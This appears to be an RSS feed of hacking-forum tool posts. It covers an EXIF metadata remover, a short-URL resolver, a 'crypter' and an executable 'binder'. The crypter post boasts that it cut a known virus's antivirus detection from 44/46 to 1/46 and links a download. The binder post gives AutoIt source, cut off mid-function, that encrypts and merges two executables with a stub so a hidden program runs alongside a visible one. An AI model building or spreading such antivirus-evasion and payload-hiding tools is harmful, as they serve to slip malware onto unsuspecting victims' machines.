/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">?&gt;<br /></span>&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;&lt;br&nbsp;/&gt;<br />&lt;a&nbsp;href="http://www.hackcommunity.com"&gt;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;Hack&nbsp;Community&lt;/span&gt;&lt;/a&gt;<br />&lt;/div&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;&nbsp;<br /></code></div></div></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;">FEEDBACK WOULD BE APPRECIATED!! It'll help me to make an updated version of this.</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] EXIFRemover (CLI)]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-EXIFRemover-CLI</link>
			<pubDate>Sat, 02 Mar 2013 21:26:38 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-EXIFRemover-CLI</guid>
			<description><![CDATA[Hello HC,<br />
<br />
this is a command line program that I wrote for removing EXIF data from images. EXIF data is saved into your pictures by your digital camera, but also image editing software. With the EXIFRemover you can prepare images before publishing them, so they won't contain any information you don't want to publish.<br />
Make sure that you don't end up like this guy, who was found by GPS data in an image he posted: <a href="http://gizmodo.com/5901430/these-breasts-nailed-anonymous-hacker-in-fbi-case" target="_blank">http://gizmodo.com/5901430/these-breasts...n-fbi-case</a><br />
<br />
<img src="http://s1.directupload.net/images/130303/dm4evebs.png" border="0" alt="[Image: dm4evebs.png]" /><br />
<br />
<span style="font-weight: bold;">show-exif example:</span> <span style="color: #ffd700;">java -jar exifremover -s B:\Sonstiges\test.jpg </span><br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>Exif metadata:<br />
        Root:<br />
            Image Description: 'JENOPTIK DIGITAL CAMERA'<br />
            Make: 'JENOPTIK OPTICAL CO,LTD'<br />
            Model: 'JD5200Z'<br />
            Orientation: 1<br />
            XResolution: 72<br />
            YResolution: 72<br />
            Resolution Unit: 2<br />
            Software: 'VJ305060'<br />
            Modify Date: '2006:08:16 11:56:11'<br />
            YCbCr Positioning: 2<br />
            Exif Offset: 254<br />
<br />
        Exif:<br />
            ISO: 100<br />
            Exif Version: 48, 50, 49, 48<br />
            Date Time Original: '2006:08:16 11:56:11'<br />
            Create Date: '2006:08:16 11:56:14'<br />
            Components Configuration: 1, 2, 3, 0<br />
            Compressed Bits Per Pixel: 1100/9830 (0,112)<br />
            Shutter Speed Value: 101/15 (6,733)<br />
            Aperture Value: 35055/10000 (3,506)<br />
            Exposure Compensation: 7/10 (0,7)<br />
            Subject Distance: Invalid rational (0/0)<br />
            Metering Mode: 2<br />
            Flash: 1<br />
            Focal Length: 21860/1000 (21,86)<br />
            Maker Note: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100, 0, 0, 0, 0, 0, 50... (264)<br />
            Flashpix Version: 48, 49, 48, 48<br />
            Color Space: 1<br />
            Exif Image Width: 2560<br />
            Exif Image Length: 1920<br />
            Interop Offset: 840<br />
<br />
        Interoperability:<br />
            Interop Index: 'R98'<br />
            Interop Version: 48, 49, 48, 48<br />
<br />
        Sub:  (jpegImageData)<br />
            Compression: 6<br />
            XResolution: 72<br />
            YResolution: 72<br />
            Resolution Unit: 2<br />
            Jpg From Raw Start: 964<br />
            Jpg From Raw Length: 12117<br />
<br />
Photoshop (IPTC) metadata:<br />
        Keywords: SampleKeyword</blockquote></div></div>
<br />
<span style="font-weight: bold;">delete-exif example for a single file:</span> <span style="color: #ffd700;">java -jar exifremover -d B:\Sonstiges\test.jpg -dest B:\Sonstiges\temp.jpg</span><br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>All EXIF data successfully removed from B:\Sonstiges\test.jpg<br />
Result saved in B:\Sonstiges\temp.jpg</blockquote></div></div>
<br />
<span style="font-weight: bold;">delete-exif example for all files in a given folder:</span> <span style="color: #ffd700;">java -jar exifremover -d B:\Sonstiges\</span><br />
All files are saved into a temp folder within the given folder, unless you define a destination folder with -dest.<br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>created file B:\Sonstiges\temp\100_1788.JPG<br />
created file B:\Sonstiges\temp\100_1789.JPG<br />
created file B:\Sonstiges\temp\100_1790.JPG<br />
created file B:\Sonstiges\temp\100_1791.JPG<br />
created file B:\Sonstiges\temp\100_1792.JPG<br />
created file B:\Sonstiges\temp\100_1793.JPG<br />
created file B:\Sonstiges\temp\100_1796.JPG<br />
created file B:\Sonstiges\temp\100_1797.JPG<br />
created file B:\Sonstiges\temp\100_1799.JPG<br />
created file B:\Sonstiges\temp\100_1800.JPG<br />
created file B:\Sonstiges\temp\100_1801.JPG<br />
created file B:\Sonstiges\temp\100_1802.JPG<br />
created file B:\Sonstiges\temp\100_1939.JPG<br />
Unable to remove EXIF data from B:\Sonstiges\Thumbs.db</blockquote></div></div>
<br />
<span style="font-weight: bold;">Download program:</span> <a href="http://uppit.com/wcrpj6oyy1bj/exifremover.jar" target="_blank">http://uppit.com/wcrpj6oyy1bj/exifremover.jar</a><br />
<span style="font-weight: bold;">Download source:</span> <a href="http://uppit.com/w4sq08kgv0s5/src.zip" target="_blank">http://uppit.com/w4sq08kgv0s5/src.zip</a><br />
<br />
If you encounter any bugs or problems, please tell me.<br />
<br />
Deque]]></description>
			<content:encoded><![CDATA[Hello HC,<br />
<br />
this is a command line program that I wrote for removing EXIF data from images. EXIF data is saved into your pictures by your digital camera, but also image editing software. With the EXIFRemover you can prepare images before publishing them, so they won't contain any information you don't want to publish.<br />
Make sure that you don't end up like this guy, who was found by GPS data in an image he posted: <a href="http://gizmodo.com/5901430/these-breasts-nailed-anonymous-hacker-in-fbi-case" target="_blank">http://gizmodo.com/5901430/these-breasts...n-fbi-case</a><br />
<br />
<img src="http://s1.directupload.net/images/130303/dm4evebs.png" border="0" alt="[Image: dm4evebs.png]" /><br />
<br />
<span style="font-weight: bold;">show-exif example:</span> <span style="color: #ffd700;">java -jar exifremover -s B:\Sonstiges\test.jpg </span><br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>Exif metadata:<br />
        Root:<br />
            Image Description: 'JENOPTIK DIGITAL CAMERA'<br />
            Make: 'JENOPTIK OPTICAL CO,LTD'<br />
            Model: 'JD5200Z'<br />
            Orientation: 1<br />
            XResolution: 72<br />
            YResolution: 72<br />
            Resolution Unit: 2<br />
            Software: 'VJ305060'<br />
            Modify Date: '2006:08:16 11:56:11'<br />
            YCbCr Positioning: 2<br />
            Exif Offset: 254<br />
<br />
        Exif:<br />
            ISO: 100<br />
            Exif Version: 48, 50, 49, 48<br />
            Date Time Original: '2006:08:16 11:56:11'<br />
            Create Date: '2006:08:16 11:56:14'<br />
            Components Configuration: 1, 2, 3, 0<br />
            Compressed Bits Per Pixel: 1100/9830 (0,112)<br />
            Shutter Speed Value: 101/15 (6,733)<br />
            Aperture Value: 35055/10000 (3,506)<br />
            Exposure Compensation: 7/10 (0,7)<br />
            Subject Distance: Invalid rational (0/0)<br />
            Metering Mode: 2<br />
            Flash: 1<br />
            Focal Length: 21860/1000 (21,86)<br />
            Maker Note: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100, 0, 0, 0, 0, 0, 50... (264)<br />
            Flashpix Version: 48, 49, 48, 48<br />
            Color Space: 1<br />
            Exif Image Width: 2560<br />
            Exif Image Length: 1920<br />
            Interop Offset: 840<br />
<br />
        Interoperability:<br />
            Interop Index: 'R98'<br />
            Interop Version: 48, 49, 48, 48<br />
<br />
        Sub:  (jpegImageData)<br />
            Compression: 6<br />
            XResolution: 72<br />
            YResolution: 72<br />
            Resolution Unit: 2<br />
            Jpg From Raw Start: 964<br />
            Jpg From Raw Length: 12117<br />
<br />
Photoshop (IPTC) metadata:<br />
        Keywords: SampleKeyword</blockquote></div></div>
<br />
<span style="font-weight: bold;">delete-exif example for a single file:</span> <span style="color: #ffd700;">java -jar exifremover -d B:\Sonstiges\test.jpg -dest B:\Sonstiges\temp.jpg</span><br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>All EXIF data successfully removed from B:\Sonstiges\test.jpg<br />
Result saved in B:\Sonstiges\temp.jpg</blockquote></div></div>
<br />
<span style="font-weight: bold;">delete-exif example for all files in a given folder:</span> <span style="color: #ffd700;">java -jar exifremover -d B:\Sonstiges\</span><br />
All files are saved into a temp folder within the given folder, unless you define a destination folder with -dest.<br />
<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;"><blockquote><cite>Quote:</cite>created file B:\Sonstiges\temp\100_1788.JPG<br />
created file B:\Sonstiges\temp\100_1789.JPG<br />
created file B:\Sonstiges\temp\100_1790.JPG<br />
created file B:\Sonstiges\temp\100_1791.JPG<br />
created file B:\Sonstiges\temp\100_1792.JPG<br />
created file B:\Sonstiges\temp\100_1793.JPG<br />
created file B:\Sonstiges\temp\100_1796.JPG<br />
created file B:\Sonstiges\temp\100_1797.JPG<br />
created file B:\Sonstiges\temp\100_1799.JPG<br />
created file B:\Sonstiges\temp\100_1800.JPG<br />
created file B:\Sonstiges\temp\100_1801.JPG<br />
created file B:\Sonstiges\temp\100_1802.JPG<br />
created file B:\Sonstiges\temp\100_1939.JPG<br />
Unable to remove EXIF data from B:\Sonstiges\Thumbs.db</blockquote></div></div>
<br />
<span style="font-weight: bold;">Download program:</span> <a href="http://uppit.com/wcrpj6oyy1bj/exifremover.jar" target="_blank">http://uppit.com/wcrpj6oyy1bj/exifremover.jar</a><br />
<span style="font-weight: bold;">Download source:</span> <a href="http://uppit.com/w4sq08kgv0s5/src.zip" target="_blank">http://uppit.com/w4sq08kgv0s5/src.zip</a><br />
<br />
If you encounter any bugs or problems, please tell me.<br />
<br />
Deque]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] HC Crypter]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-HC-Crypter</link>
			<pubDate>Sat, 02 Mar 2013 13:15:07 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-HC-Crypter</guid>
			<description><![CDATA[I guess everyone here knows what a crypter is used for. For those who are interested in knowing which encryption system is used here, it is AES-256 bit encryption.<br />
<br />
Screen Shot :<br />
<img src="http://s11.postimage.org/9gsanqcer/Screen_4.jpg" border="0" alt="[Image: Screen_4.jpg]" /><br />
Please don't mind stupid looking screenie due to rounded edges <img src="images/twist-sd/smiley/huh.png" style="vertical-align: middle;" border="0" alt="Huh" title="Huh" /><br />
<br />
I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.<br />
<br />
Virus Scan : <a href="http://vscan.novirusthanks.org/analysis/8e17bd9f0f5b12fba90708449f459ff9/Y3J5cHRlci1leGU=/" target="_blank">vscan</a><br />
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.<br />
<br />
Download Link : <a href="http://www.mediafire.com/download.php?etfeb1hnlzi6c7n" target="_blank">HC Crypter</a><br />
<br />
Cheers <img src="images/twist-sd/smiley/lub.png" style="vertical-align: middle;" border="0" alt="Lub" title="Lub" /><br />
<br />
Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...]]></description>
			<content:encoded><![CDATA[I guess everyone here knows what a crypter is used for. For those who are interested in knowing which encryption system is used here, it is AES-256 bit encryption.<br />
<br />
Screen Shot :<br />
<img src="http://s11.postimage.org/9gsanqcer/Screen_4.jpg" border="0" alt="[Image: Screen_4.jpg]" /><br />
Please don't mind stupid looking screenie due to rounded edges <img src="images/twist-sd/smiley/huh.png" style="vertical-align: middle;" border="0" alt="Huh" title="Huh" /><br />
<br />
I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.<br />
<br />
Virus Scan : <a href="http://vscan.novirusthanks.org/analysis/8e17bd9f0f5b12fba90708449f459ff9/Y3J5cHRlci1leGU=/" target="_blank">vscan</a><br />
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.<br />
<br />
Download Link : <a href="http://www.mediafire.com/download.php?etfeb1hnlzi6c7n" target="_blank">HC Crypter</a><br />
<br />
Cheers <img src="images/twist-sd/smiley/lub.png" style="vertical-align: middle;" border="0" alt="Lub" title="Lub" /><br />
<br />
Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] ShortURLScanner - get the real URL of adfly, tinyURL and others]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-ShortURLScanner-get-the-real-URL-of-adfly-tinyURL-and-others</link>
			<pubDate>Fri, 08 Feb 2013 08:45:03 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-ShortURLScanner-get-the-real-URL-of-adfly-tinyURL-and-others</guid>
			<description><![CDATA[<span style="font-weight: bold;"><span style="font-size: x-large;"><span style="color: #32CD32;">ShortURLScanner</span></span></span><br />
<br />
<img src="http://s14.directupload.net/images/130208/oq9agbc9.png" border="0" alt="[Image: oq9agbc9.png]" /><br />
<br />
You would like to see what is behind a link like <a href="http://adf.ly/ESg4z," target="_blank">http://adf.ly/ESg4z,</a> but don't want to click on it, as you don't know where it really directs you to? You don't want to be forced to wait and see ads?<br />
This program shows you the real target of a shortened URL or of ad-links from adfly and others (see below for supported sites).<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Supports the following ad link sites:</span></span><br />
adfly<br />
adfoc<br />
linkbucks<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Supports at least the following URL shortener services (others might work too, just try it out):</span></span><br />
goo.gl<br />
dashburst.com<br />
gg.gg<br />
bit.ly<br />
tinurl.com<br />
is.gd<br />
ow.ly<br />
x.co<br />
po.st<br />
tiny.cc<br />
mcaf.ee<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Requirements:</span></span> Java 1.7<br />
<br />
Program download: <a href="http://www.multiupload.nl/GS6Y9MSCP4" target="_blank">http://www.multiupload.nl/GS6Y9MSCP4</a><br />
Source: <a href="http://www.hackcommunity.com/Thread-Java-RedirectScanner-show-real-URL" target="_blank">http://www.hackcommunity.com/Thread-Java...w-real-URL</a><br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Any problems?</span></span><br />
<br />
The ad-link services sometimes change their source to disable programs like these. So if you encounter any links that don't work with this program, please tell me and give an example link for me to test. I will correct my program as soon as I know about this.]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;"><span style="font-size: x-large;"><span style="color: #32CD32;">ShortURLScanner</span></span></span><br />
<br />
<img src="http://s14.directupload.net/images/130208/oq9agbc9.png" border="0" alt="[Image: oq9agbc9.png]" /><br />
<br />
You would like to see what is behind a link like <a href="http://adf.ly/ESg4z," target="_blank">http://adf.ly/ESg4z,</a> but don't want to click on it, as you don't know where it really directs you to? You don't want to be forced to wait and see ads?<br />
This program shows you the real target of a shortened URL or of ad-links from adfly and others (see below for supported sites).<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Supports the following ad link sites:</span></span><br />
adfly<br />
adfoc<br />
linkbucks<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Supports at least the following URL shortener services (others might work too, just try it out):</span></span><br />
goo.gl<br />
dashburst.com<br />
gg.gg<br />
bit.ly<br />
tinurl.com<br />
is.gd<br />
ow.ly<br />
x.co<br />
po.st<br />
tiny.cc<br />
mcaf.ee<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Requirements:</span></span> Java 1.7<br />
<br />
Program download: <a href="http://www.multiupload.nl/GS6Y9MSCP4" target="_blank">http://www.multiupload.nl/GS6Y9MSCP4</a><br />
Source: <a href="http://www.hackcommunity.com/Thread-Java-RedirectScanner-show-real-URL" target="_blank">http://www.hackcommunity.com/Thread-Java...w-real-URL</a><br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Any problems?</span></span><br />
<br />
The ad-link services sometimes change their source to disable programs like these. So if you encounter any links that don't work with this program, please tell me and give an example link for me to test. I will correct my program as soon as I know about this.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Hack Community Binder]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Hack-Community-Binder</link>
			<pubDate>Thu, 31 Jan 2013 03:44:04 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Hack-Community-Binder</guid>
			<description><![CDATA[Hello mates,<br />
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.<br />
<br />
Screenshot:<br />
<img src="http://s2.postimage.org/axxfvdk0p/HC_Binder.png" border="0" alt="[Image: HC_Binder.png]" /><br />
<br />
<br />
Binder Source :<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>#include&lt;GUIConstants.au3&gt;<br />
#include&lt;EditConstants.au3&gt;<br />
#include&lt;Crypt.au3&gt;<br />
#include&lt;WindowsConstants.au3&gt;<br />
#include&lt;GDIPlus.au3&gt;<br />
<br />
Opt("GUIOnEventMode",1)<br />
&#36;color1=0x090909<br />
&#36;color2=0xff0000<br />
&#36;color3=0x777777<br />
&#36;frame=GUICreate("Binder",600,400,200,200,&#36;WS_POPUPWINDOW)<br />
_GDIPlus_Startup()<br />
&#36;hImage = _GDIPlus_ImageLoadFromFile("logo.png")<br />
&#36;hGraphic = _GDIPlus_GraphicsCreateFromHWND(&#36;frame)<br />
GUIRegisterMsg(&#36;WM_PAINT, "MY_WM_PAINT")<br />
<br />
&#36;header=GUICtrlCreateLabel("Binder",340,40,130,50)<br />
&#36;label1=GUICtrlCreateLabel("File 1",20,230,60,20)<br />
&#36;label2=GUICtrlCreateLabel("File 2",20,270,60,20)<br />
&#36;label3=GUICtrlCreateLabel("Output Path",20,310,60,20)<br />
&#36;input1=GUICtrlCreateInput("",90,230,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;input2=GUICtrlCreateInput("",90,270,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;input3=GUICtrlCreateInput("",90,310,450,20,&#36;ES_AUTOHSCROLL+&#36;ES_READONLY+&#36;ES_OEMCONVERT)<br />
&#36;button1=GUICtrlCreateButton("...",550,230,30,20)<br />
&#36;button2=GUICtrlCreateButton("...",550,270,30,20)<br />
&#36;button3=GUICtrlCreateButton("...",550,310,30,20)<br />
&#36;bind=GUICtrlCreateButton("Bind",190,350,70,25)<br />
&#36;close=GUICtrlCreateButton("Close",270,350,70,25)<br />
&#36;about=GUICtrlCreateButton("&gt;&gt;",570,370,20,20)<br />
&#36;frame2=GUICreate("",300,100,800,500,&#36;WS_POPUPWINDOW)<br />
<br />
&#36;label=GUICtrlCreateLabel("Author : Solixious Klein" &amp; @CRLF &amp; "Special Thanks : Deque and Coder-San" &amp; @CRLF &amp; "www.hackcommunity.com",20,20,300,100)<br />
&#36;view=0<br />
init()<br />
GUICtrlSetOnEvent(&#36;close,"quit")<br />
GUICtrlSetOnEvent(&#36;button1,"getpath1")<br />
GUICtrlSetOnEvent(&#36;button2,"getpath2")<br />
GUICtrlSetOnEvent(&#36;button3,"getpath3")<br />
GUICtrlSetOnEvent(&#36;bind,"bind")<br />
GUICtrlSetOnEvent(&#36;about,"about")<br />
GUISetState(@SW_SHOW,&#36;frame)<br />
GUISetOnEvent(&#36;GUI_EVENT_CLOSE,"quit",&#36;frame)<br />
While 1<br />
&nbsp;&nbsp; ;<br />
WEnd<br />
<br />
Func MY_WM_PAINT(&#36;hWnd, &#36;msg, &#36;wParam, &#36;lParam)<br />
&nbsp;&nbsp;&nbsp;&nbsp;#forceref &#36;hWnd, &#36;Msg, &#36;wParam, &#36;lParam<br />
&nbsp;&nbsp;&nbsp;&nbsp;_WinAPI_RedrawWindow(&#36;frame, 0, 0, &#36;RDW_UPDATENOW)<br />
&nbsp;&nbsp;&nbsp;&nbsp;_GDIPlus_GraphicsDrawImage(&#36;hGraphic, &#36;hImage, 0, 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;_WinAPI_RedrawWindow(&#36;frame, 0, 0, &#36;RDW_VALIDATE)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Return &#36;GUI_RUNDEFMSG<br />
 EndFunc<br />
 <br />
Func init()<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;header,25,700,2)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label1,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label2,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label3,14)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;label,11)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;bind,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;close,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input1,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input2,12)<br />
&nbsp;&nbsp; GUICtrlSetFont(&#36;input3,12)<br />
&nbsp;&nbsp; GUISetBkColor(&#36;color1,&#36;frame)<br />
&nbsp;&nbsp; GUISetBkColor(&#36;color1,&#36;frame2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input1,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input2,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;input3,&#36;color3)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button1,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button2,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;button3,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label1,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label2,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;label3,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;bind,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;close,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetBkColor(&#36;about,&#36;color2)<br />
&nbsp;&nbsp; GUICtrlSetColor(&#36;header,&#36;color2)<br />
EndFunc<br />
<br />
Func quit()<br />
&nbsp;&nbsp; _GDIPlus_GraphicsDispose(&#36;hGraphic)<br />
&nbsp;&nbsp; _GDIPlus_ImageDispose(&#36;hImage)<br />
&nbsp;&nbsp; _GDIPlus_Shutdown()<br />
&nbsp;&nbsp; Exit<br />
EndFunc<br />
<br />
Func getpath1()<br />
&nbsp;&nbsp; &#36;filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",&#36;frame)<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input1,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func getpath2()<br />
&nbsp;&nbsp; &#36;filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",&#36;frame)<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input2,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
<br />
Func getpath3()<br />
&nbsp;&nbsp; &#36;filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",&#36;frame) &amp; ".exe"<br />
&nbsp;&nbsp; If @error Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br />
&nbsp;&nbsp; Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUICtrlSetData(&#36;input3,&#36;filepath)<br />
&nbsp;&nbsp; EndIf<br />
EndFunc<br />
<br />
Func bind()<br />
&nbsp;&nbsp; &#36;path1=GUICtrlRead(&#36;input1)<br />
&nbsp;&nbsp; &#36;path2=GUICtrlRead(&#36;input2)<br />
&nbsp;&nbsp; &#36;path3=GUICtrlRead(&#36;input3)<br />
&nbsp;&nbsp; If FileExists(&#36;path1) And FileExists(&#36;path2) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;marker=StringToBinary("SOLIXIOUS")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;output=FileOpen(&#36;path3,1+2+8+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;inputx1=FileOpen(&#36;path1,0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;inputx2=FileOpen(&#36;path2,0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data1=FileRead(&#36;inputx1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data2=FileRead(&#36;inputx2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;stub=FileOpen(@ScriptDir &amp; "&#92;Stub.exe",0+16)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;stubdata=FileRead(&#36;stub)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;stubdata)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileWrite(&#36;output,&#36;marker)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;data1=encrypt(BinaryToString(&#36;data1))<br />
